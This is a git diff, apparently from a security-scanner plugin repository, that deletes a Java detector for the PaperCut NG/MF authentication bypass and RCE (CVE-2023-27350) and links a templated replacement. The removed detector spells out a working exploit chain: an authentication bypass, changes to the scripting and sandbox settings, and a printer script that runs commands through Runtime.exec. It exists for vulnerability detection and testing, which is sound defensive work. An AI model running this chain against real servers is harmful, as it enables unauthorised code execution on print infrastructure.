diff --git a/community/README.md b/community/README.md index e651c1cea..339fdadd1 100644 --- a/community/README.md +++ b/community/README.md @@ -48,6 +48,7 @@ This directory contains plugins contributed by community members. * [Uptrain Exposed API VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/uptrain_exposed_api) * [CVE-2025-0655 D-Tale Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/dtale_cve_2025_0655) * [Flowise Exposed UI Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/flowise_exposed_ui) +* [Papercut NG/MF Authentication Bypass and RCE, now updated to Templated format](https://github.com/google/tsunami-security-scanner-plugins/tree/master/templated/templateddetector/plugins/cve/2023/PapercutNgMf_CVE_2023_27350.textproto) #### XML External Entity (XXE) Injection diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/README.md b/community/detectors/papercut_ng_mf_cve_2023_27350/README.md deleted file mode 100644 index e3c6689a3..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/README.md +++ /dev/null @@ -1,63 +0,0 @@ -# Papercut NG/MF Authentication Bypass and RCE Detector - -### CVE - -[CVE-2023-27350](https://github.com/advisories/GHSA-cfg6-7x4x-p3pj) - -### Description of Vulnerability - -Allows remote attackers to bypass authentication on affected installations of -PaperCut NG/MF. Authentication is not required to exploit this vulnerability. -The specific flaw exists within the SetupCompleted class and the issue results -from improper access control An attacker can leverage this vulnerability to -bypass authentication and execute arbitrary code in the context of SYSTEM -(Windows) or Root/Papercut User (Linux). - -Application allows for Remote Code Execution on the webserver. The RCE can be -used to directly execute commands on the remote Papercut Webserver, or a -malicious JAR file can be dropped/executed. - -##### Related Articles: - -https://vulncheck.com/blog/papercut-rce -https://www.bleepingcomputer.com/news/security/new-papercut-rce-exploit-created-that-bypasses-existing-detections/ -https://thehackernews.com/2023/05/researchers-uncover-new-exploit-for.html - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. - --------------------------------------------------------------------------------- - -## Testing - -Images and OCI image sources to test this plugin can be found at: -https://github.com/Isaac-GC/papercut_ng_mf_docker_images - -These images simulate a near realistic production environment and are -prebuilt/preconfigured to let you get started ASAP. They currently consist of -two version types: - Vulnerable - -`ghcr.io/isaac-gc/papercut_ng_mf:19.2.7.62195` - -`ghcr.io/isaac-gc/papercut_ng_mf:20.1.4.57927` - -`ghcr.io/isaac-gc/papercut_ng_mf:21.2.10.62186` - -`ghcr.io/isaac-gc/papercut_ng_mf:22.0.1.62695` - -- Non-vulnerable (patched) - - `ghcr.io/isaac-gc/papercut_ng_mf:20.1.8.66704` - - `ghcr.io/isaac-gc/papercut_ng_mf:21.2.12.66701` - - `ghcr.io/isaac-gc/papercut_ng_mf:22.0.12.66453` - -#### Using the images - -1. Pull down an OCI image for the version you want to use/test. - - i.e. `docker pull ghcr.io/isaac-gc/papercut_ng_mf:22.0.1.62695` -2. Run the container using docker, kubernetes, or another OCI compatible engine - - I.e. using docker: `docker run -it --rm -p 9191:9191 - ghcr.io/isaac-gc/papercut_ng_mf:22.0.1.62695` -3. Thats it diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/build.gradle b/community/detectors/papercut_ng_mf_cve_2023_27350/build.gradle deleted file mode 100644 index 865f3a4df..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/build.gradle +++ /dev/null @@ -1,40 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami example VulnDetector plugin with payload generator.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - implementation 'com.google.code.gson:gson:2.10.1' - - testImplementation "junit:junit:4.13.2" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/settings.gradle b/community/detectors/papercut_ng_mf_cve_2023_27350/settings.gradle deleted file mode 100644 index 133a1307f..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'papercut_ng_mr_CVE_2023_27350' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfHelper.java b/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfHelper.java deleted file mode 100644 index 57cc9f108..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfHelper.java +++ /dev/null @@ -1,148 +0,0 @@ -package com.google.tsunami.plugins.papercut; - -import static com.google.common.base.Preconditions.checkNotNull; - -import com.google.common.flogger.GoogleLogger; -import com.google.errorprone.annotations.CanIgnoreReturnValue; -import com.google.protobuf.ByteString; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.proto.NetworkService; -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; -import java.util.HashMap; -import java.util.Map; -import java.util.regex.Matcher; -import java.util.regex.Pattern; - -/** A helper class for managing jsessionId based web session. */ -public final class PapercutNgMfHelper { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final NetworkService networkService; - private final HttpClient httpClient; - public String jsessionId = ""; - private String rootUrl = ""; - private String baseAppUrl = ""; - private HttpHeaders headers; - private String previousUrl = ""; - - PapercutNgMfHelper(NetworkService networkService, HttpClient httpClient) { - this.networkService = checkNotNull(networkService); - this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); - this.rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - this.baseAppUrl = this.rootUrl + "app"; - buildHeaders(false); - } - - // this doesn't need to be public, but leaving it as such just-in-case - public void updateJsessionId(HttpResponse response) { - String setCookiesHeader = response.headers().get("Set-Cookie").orElse(""); - if (!setCookiesHeader.isEmpty()) { - Matcher jsessionIdMatcher = - Pattern.compile("JSESSIONID=[a-zA-Z0-9.]+;", Pattern.CASE_INSENSITIVE) - .matcher(setCookiesHeader); - if (jsessionIdMatcher.find()) { - jsessionId = jsessionIdMatcher.group(); - } - } - } - - public void buildHeaders(boolean isPostRequest) { - HttpHeaders.Builder headers = HttpHeaders.builder(); - - // Default headers - headers.addHeader("Origin", this.rootUrl); - headers.addHeader("Accept", "*/*"); - - // Add content-type helper - if (isPostRequest) { - headers.addHeader("Content-Type", "application/x-www-form-urlencoded"); - } - - // The initial request won't have a referer to use, so don't set it - if (!this.previousUrl.isEmpty()) { - headers.addHeader("Referer", this.previousUrl); - } - - // Add or update the JSESSION_ID if a value is present - if (!jsessionId.isEmpty()) { - headers.addHeader("Cookie", jsessionId); - } - - this.headers = headers.build(); - } - - @CanIgnoreReturnValue - public HttpResponse sendGetRequest(String path) { - buildHeaders(false); // Rebuild the headers - HttpRequest request = HttpRequest.get(baseAppUrl + "?" + path).setHeaders(headers).build(); - HttpResponse response = null; - try { - response = httpClient.send(request, this.networkService); - updateJsessionId(response); // Update JSESSION_ID if needed - previousUrl = baseAppUrl + "?" + path; - } catch (Exception err) { - logger.atWarning().withCause(err).log(); - } - return response; - } - - @CanIgnoreReturnValue - public HttpResponse sendPostRequest(String bodyContent) { - buildHeaders(true); // Rebuild the headers - HttpRequest request = - HttpRequest.post(baseAppUrl) - .setHeaders(headers) - .setRequestBody(ByteString.copyFrom(bodyContent, StandardCharsets.UTF_8)) - .build(); - - HttpResponse response = null; - try { - response = httpClient.send(request, networkService); - this.updateJsessionId(response); // Update JSESSION_ID if needed - previousUrl = baseAppUrl; - } catch (Exception err) { - logger.atWarning().withCause(err).log(); - } - return response; - } - - public String buildParameterString(HashMap params) { - StringBuilder result = new StringBuilder(); - boolean first = true; - for (Map.Entry entry : params.entrySet()) { - if (first) { - first = false; - } else { - result.append("&"); - } - result.append(URLEncoder.encode(entry.getKey(), StandardCharsets.UTF_8)); - result.append("="); - result.append(URLEncoder.encode(entry.getValue(), StandardCharsets.UTF_8)); - } - return result.toString(); - } - - public void changeSettingForPayload(String settingName, Boolean enable) { - HashMap settingNav = new HashMap<>(); - settingNav.put("service", "direct/1/ConfigEditor/quickFindForm"); - settingNav.put("sp", "S0"); - settingNav.put("Form0", "$TextField,doQuickFind,clear"); - settingNav.put("$TextField", settingName); - settingNav.put("doQuickFind", "Go"); - - HashMap settingAction = new HashMap<>(); - settingAction.put("service", "direct/1/ConfigEditor/$Form"); - settingAction.put("sp", "S1"); - settingAction.put("Form1", "$TextField$0,$Submit,$Submit$0"); - settingAction.put("$TextField$0", (enable ? "Y" : "N")); - settingAction.put("$Submit", "Update"); - - sendPostRequest(buildParameterString(settingNav)); - sendPostRequest(buildParameterString(settingAction)); - } -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java b/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java deleted file mode 100644 index 5ea4645a9..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetector.java +++ /dev/null @@ -1,234 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.papercut; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; - -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.time.Clock; -import java.time.Instant; -import java.util.HashMap; -import java.util.regex.Matcher; -import java.util.regex.Pattern; -import javax.inject.Inject; - -/** A VulnDetector plugin to for CVE-2023-27350. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "PapercutNgMfVulnDetector", - version = "1.0", - description = "Detects papercut versions that are vulnerable to authentication bypass and RCE.", - author = "Isaac_GC (isaac@nu-that.us)", - bootstrapModule = PapercutNgMfVulnDetectorBootstrapModule.class) -public final class PapercutNgMfVulnDetector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final Clock utcClock; - private final HttpClient httpClient; - private final PayloadGenerator payloadGenerator; - - @Inject - PapercutNgMfVulnDetector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); - this.payloadGenerator = checkNotNull(payloadGenerator); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("CVE-2023-27350 (PaperCut NG/MF) starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2023_27350")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-27350")) - .setSeverity(Severity.CRITICAL) - .setTitle("Papercut NG/MF Authentication Bypass and RCE") - .setDescription( - "This vulnerability allows remote attackers to bypass authentication" - + " on affected installations of PaperCut NG/MF." - + " Authentication is not required to exploit this vulnerability." - + " The specific flaw exists within the SetupCompleted class and the" - + " issue results from improper access control." - + " An attacker can leverage this vulnerability to bypass authentication" - + " and execute arbitrary code in the context of SYSTEM (Windows) " - + "or Root/Papercut User (Linux).") - .setRecommendation( - "Update to versions that are at least 20.1.7, 21.2.11, 22.0.9, or any later" - + " version.") - .build()); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - boolean isVulnerable = false; - - PapercutNgMfHelper helper = new PapercutNgMfHelper(networkService, this.httpClient); - - HttpResponse response = helper.sendGetRequest("service=page/SetupCompleted"); - Matcher bodyContentMatcher = - Pattern.compile("Configuration Wizard : Setup Complete") - .matcher(response.bodyString().orElse("")); - - // If all initial checks pass, then lets check the RCE vuln - if (response.status() == HttpStatus.OK - && bodyContentMatcher.find() - && !helper.jsessionId.isEmpty()) { - - // SetupCompleted payload/page - HashMap setupCompletedPage = new HashMap(); - setupCompletedPage.put("service", "direct/1/SetupCompleted/$Form"); - setupCompletedPage.put("sp", "S0"); - setupCompletedPage.put("Form0", "$Hidden,analyticsEnabled,$Submit"); - setupCompletedPage.put("$Hidden", "true"); - setupCompletedPage.put("$Submit", "true"); - - // Post/send above params - helper.sendPostRequest(helper.buildParameterString(setupCompletedPage)); - - // Changing (or attempting to) change the settings required for RCE - helper.changeSettingForPayload("print-and-device.script.enable", true); - helper.changeSettingForPayload("print.script.sandboxed", false); - - helper.sendGetRequest("service=page/PrinterList"); // Get list of printers - helper.sendGetRequest( - "service=direct/1/PrinterList/selectPrinter&sp=l1001"); // Get the first one - helper.sendGetRequest( - "service=direct/1/PrinterDetails/printerOptionsTab.tab&sp=4"); // Open up scripting tab - - // Let's build and send the actual payload - HashMap printerScriptPayload = new HashMap(); - printerScriptPayload.put("service", "direct/1/PrinterDetails/$PrinterDetailsScript.$Form"); - printerScriptPayload.put("sp", "S0"); - printerScriptPayload.put( - "Form0", "printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1"); - printerScriptPayload.put("printerId", "l1001"); - printerScriptPayload.put("enablePrintScript", "on"); - - // Build the payload string to inject - Payload payload; - if (payloadGenerator.isCallbackServerEnabled()) { - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build(); - - payload = this.payloadGenerator.generate(config); - - printerScriptPayload.put( - "scriptBody", - "function printJobHook(inputs, actions) {}\r\n" - + "java.lang.Runtime.getRuntime().exec('" - + payload.getPayload() - + "');"); - printerScriptPayload.put("$Submit$1", "Apply"); - - // Sending payload - helper.sendPostRequest(helper.buildParameterString(printerScriptPayload)); - try { - Thread.sleep(1000); - } catch (InterruptedException err) { - logger.atWarning().withCause(err).log(); - } - - // Check payload - isVulnerable = payload.checkIfExecuted(); - - } else { // If the callback server is not enabled, try to verify the payload through some - // limited checks. - printerScriptPayload.put( - "scriptBody", - "function printJobHook(inputs, actions) {}\r\n" - + "java.lang.Runtime.getRuntime().exec('hostname');"); // If we can even do this, - // that's all we really can do - printerScriptPayload.put("$Submit$1", "Apply"); - - // Sending payload - HttpResponse payloadResponse = - helper.sendPostRequest(helper.buildParameterString(printerScriptPayload)); - - Matcher matchResponseResult = - Pattern.compile("Saved successfully") // Check for this message in the response - .matcher(payloadResponse.bodyString().orElse("")); - - // If the resulting string in response matched, then the script got submitted and an RCE is - // possible - isVulnerable = matchResponseResult.find(); - } - - // Changing (or attempting to) change the settings required for RCE - helper.changeSettingForPayload("print-and-device.script.enable", false); - helper.changeSettingForPayload("print.script.sandboxed", true); - - return isVulnerable; - } - return false; // Do this as default - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorBootstrapModule.java b/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorBootstrapModule.java deleted file mode 100644 index 130e66234..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/main/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorBootstrapModule.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2022 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.papercut; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** A Guice module that bootstraps the {@link PapercutNgMfVulnDetector}. */ -public final class PapercutNgMfVulnDetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(PapercutNgMfVulnDetector.class); - } -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java b/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java deleted file mode 100644 index 0b10fa176..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/java/com/google/tsunami/plugins/papercut/PapercutNgMfVulnDetectorTest.java +++ /dev/null @@ -1,186 +0,0 @@ -/* - * Copyright 2020 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.papercut; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static java.nio.charset.StandardCharsets.UTF_8; - -import com.google.common.collect.ImmutableList; -import com.google.common.io.Resources; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Software; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import java.io.IOException; -import java.security.SecureRandom; -import java.time.Instant; -import java.util.Arrays; -import javax.inject.Inject; -import okhttp3.Headers; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link PapercutNgMfVulnDetector}. */ -@RunWith(JUnit4.class) -public final class PapercutNgMfVulnDetectorTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - private final SecureRandom testSecureRandom = - new SecureRandom() { - @Override - public void nextBytes(byte[] bytes) { - Arrays.fill(bytes, (byte) 0xFF); - } - }; - private final MockWebServer mockWebServer = new MockWebServer(); - private final MockWebServer mockCallbackServer = new MockWebServer(); - private NetworkService papercutService; - @Inject private PapercutNgMfVulnDetector detector; - private DetectionReport detectorReport; - private TargetInfo targetInfo; - - // Helper function load additional resources used in the tests - private static String loadResource(String file) throws IOException { - return Resources.toString( - Resources.getResource(PapercutNgMfVulnDetectorTest.class, file), UTF_8) - .strip(); - } - - @Before - public void setUp() throws IOException { - mockWebServer.start(); - mockCallbackServer.start(); - - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder() - .setCallbackServer(mockCallbackServer) - .setSecureRng(testSecureRandom) - .build(), - new PapercutNgMfVulnDetectorBootstrapModule()) - .injectMembers(this); - - papercutService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setSoftware(Software.newBuilder().setName("Papercut MF")) - .setServiceName("http") - .build(); - - targetInfo = - TargetInfo.newBuilder().addNetworkEndpoints(papercutService.getNetworkEndpoint()).build(); - - detectorReport = - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(papercutService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build(); - } - - @After - public void tearDown() throws Exception { - mockWebServer.shutdown(); - mockCallbackServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() throws IOException { - Headers.Builder headerBuilder = new Headers.Builder(); - Headers jsessionHeader = headerBuilder.set("Set-Cookie", "JSESSIONID=abcde12345;").build(); - - mockWebServer.url("/app"); - - mockWebServer.enqueue( - new MockResponse() - .setResponseCode(200) - .setHeaders(jsessionHeader) - .setBody(loadResource("vulnerable_page.html"))); - - // Pass the "SetupCompleted" page and "log in" - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - - // Change settings necessary for RCE - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - - // Prepare for RCE delivery (navigate to the required page) - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - - // Deliver the RCE - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - - // Revert settings previously changed - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - mockWebServer.enqueue(new MockResponse().setResponseCode(200)); - - DetectionReportList detectionReportList = - detector.detect(targetInfo, ImmutableList.of(papercutService)); - - assertThat(detectionReportList.getDetectionReportsList()).containsExactly(detectorReport); - } - - @Test - public void detect_whenNotVulnerable_returnsNoFinding() throws IOException { - - // Set up the mock webserver - // - Redirects to a login page - mockWebServer.enqueue(new MockResponse().setResponseCode(302)); - mockWebServer.url("/app"); - - // Load the login page - mockWebServer.enqueue( - new MockResponse().setResponseCode(200).setBody(loadResource("nonvulnerable_page.html"))); - mockWebServer.url("/app"); - - mockWebServer.enqueue(new MockResponse().setResponseCode(401)); - - assertThat( - detector - .detect(targetInfo, ImmutableList.of(papercutService)) - .getDetectionReportsList()) - .isEmpty(); - } -} diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/nonvulnerable_page.html b/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/nonvulnerable_page.html deleted file mode 100644 index 9bfbcda5e..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/nonvulnerable_page.html +++ /dev/null @@ -1,563 +0,0 @@ - - - - - - - - PaperCut MF : Dashboard : Dashboard - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
- - - - - - - - - - - - - - - - - - - - - -
- Location - - - Dashboard - - - - Dashboard
-
-

- - -Dashboard -

-
-
-
-
For control of Multi-Function Devices check out PaperCut MF
- More Information
-
-
- -
- - - - - - - - -
- -
- - -
- - - - - - - - - - - - - - - -
-
-
-
-
-
- What's Next? -
-
-
- -
- -
-
-
-
-
- - - - - - - - - - - - - - - - -
System Status
- - -
 
-
-
-
- -
-
- - - - - - - - - - - - - - - - -
Environmental Impact
-
    -
  • - -
  • -
  • -  of CO2
  • -
  • -  running a 60W bulb
  • -
  • - Since  -
  • -
-
-
-
- -
- - - - - - - - - - - - - - - - -
News
-
-
-
-
- -
-
- - - - - - - - - - - - - - - - -
Pages Printed (per day, last 30 days)
-
-
-
-
-
-
- -
-
- - - - - - - - - - - - - - - - -
Printer Status
-
- -
-
-
-
-
- -
-
- - - - - - - - - - - - - - - - -
Real-time Activity
-
- - - - - -
  
-
-
- Expand | - Pause - -
-
-
-
- -
- -
-
-
-
-
-
- - - - - - diff --git a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/vulnerable_page.html b/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/vulnerable_page.html deleted file mode 100644 index 39af0f554..000000000 --- a/community/detectors/papercut_ng_mf_cve_2023_27350/src/test/resources/com/google/tsunami/plugins/papercut/vulnerable_page.html +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - Configuration Wizard : Setup Complete - - - - - - - - - - - - - - - - - - - - - -
- - - -
- -
-
    -
  1. - Create Account
  2. -
  3. - Choose Organization Type
  4. -
  5. - Set Default Costs
  6. -
  7. - Sync Users
  8. -
  9. - Confirm Setup
  10. -
-
-
-

- - The setup process is complete. -

- -

- - The system has started synchronizing all user accounts. The initial import may take few minutes on larger systems. You should see the status of this task in a popup window. If you can't see this window, please ensure your browser is set to allow popups from this server. -

- -

- The printers on this server will be added to the system within the next minute.

-
- - - - - -
- -
-
-
-
-
-
- - - - - - - - - - - - - - -
-
-
-
- - -
- PaperCut MF - - 20.1.4 - (Build 57927 - 2021-08-26) -
- Print Management Software
-
- - PaperCut MF trial license, 39 days remaining.
- -
-
- -
